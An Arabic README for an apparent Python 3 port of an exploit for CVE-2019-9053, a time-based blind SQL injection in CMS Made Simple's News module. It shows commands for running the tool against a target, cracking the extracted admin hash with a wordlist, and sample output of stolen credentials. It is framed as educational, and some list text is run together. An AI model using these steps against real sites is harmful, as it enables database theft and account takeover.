
# استغلال ثغرة CVE-2019-9053 في CMS Made Simple (بايثون 3)
نسخة مُعاد نقلها إلى Python 3 من استغلال حقن SQL الأعمى القائم على الوقت والذي يستهدف CMS Made Simple <= 2.2.9. الاستغلال الأصلي من إعداد Daniele Scanu @ Certimeter Group.
| الحقل | التفصيل |
|---|---|
| CVE | CVE-2019-9053 |
| البرنامج المتأثر | CMS Made Simple <= 2.2.9 |
| نوع الثغرة | حقن SQL أعمى قائم على الوقت بدون مصادقة |
| ناقل الهجوم | الشبكة (لا يتطلب مصادقة) |
| المعامل | m1_idlist في وحدة News |
تفشل وحدة News في تعقيم معامل GET المسمى m1_idlist، مما يسمح لمهاجم غير مُصادَق باستخراج بيانات حساسة من قاعدة البيانات حرفًا بحرف باستخدام تأخيرات زمنية.
pip install requests termcolor
python3 CVE-2019-9053_py3.py -u http://target/cms
python3 CVE-2019-9053_py3.py -u http://target/cms --crack -w /path/to/wordlist.txt
python3 CVE-2019-9053_py3.py --help
| الخيار | الوصف |
|---|---|
-u, --url | عنوان URL الأساسي لتنصيب CMS Made Simple المستهدف |
-w, --wordlist | مسار ملف قائمة الكلمات المستخدم لكسر كلمة المرور |
-c, --crack | تفعيل وضع كسر كلمة المرور (يتطلب -w) |
python3 CVE-2019-9053_py3.py -u http://10.49.164.146/simple/ --crack -w /usr/share/wordlists/rockyou.txt
المخرجات المتوقعة:
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: password123
cms_siteprefs عن قيمة sitemask (وهي ملح كلمة المرور)user_id = 1 من cms_usersuser_id = 1 من cms_usersuser_id = 1 من cms_usersMD5(salt + wordlist_entry) لكل سطر ويقارنه بالتجزئة المستخرجةيستخدم الحقن SELECT SLEEP(N) لاستنتاج كل حرف — فإذا تأخر الرد، يكون الحرف المُخمَّن صحيحًا.
نصيحة: إذا كان السكربت بطيئًا أو غير موثوق، فقم بزيادة المتغير
TIMEداخل السكربت لمراعاة زمن استجابة الشبكة.
| التغيير | التفصيل |
|---|---|
عبارات print | حُوِّلت إلى دوال print() |
optparse | استُبدلت بـ argparse (فإن optparse مهجورة في Python 3) |
hashlib.md5() | يُرمَّز الإدخال الآن إلى بايتات عبر .encode('utf-8') |
| قراءة الملفات | استُبدلت .readlines() بكتلة with و.strip() |
هذا المشروع مخصص للاستخدام التعليمي فقط. يُرجى الرجوع إلى شروط ترخيص الاستغلال الأصلي على Exploit-DB.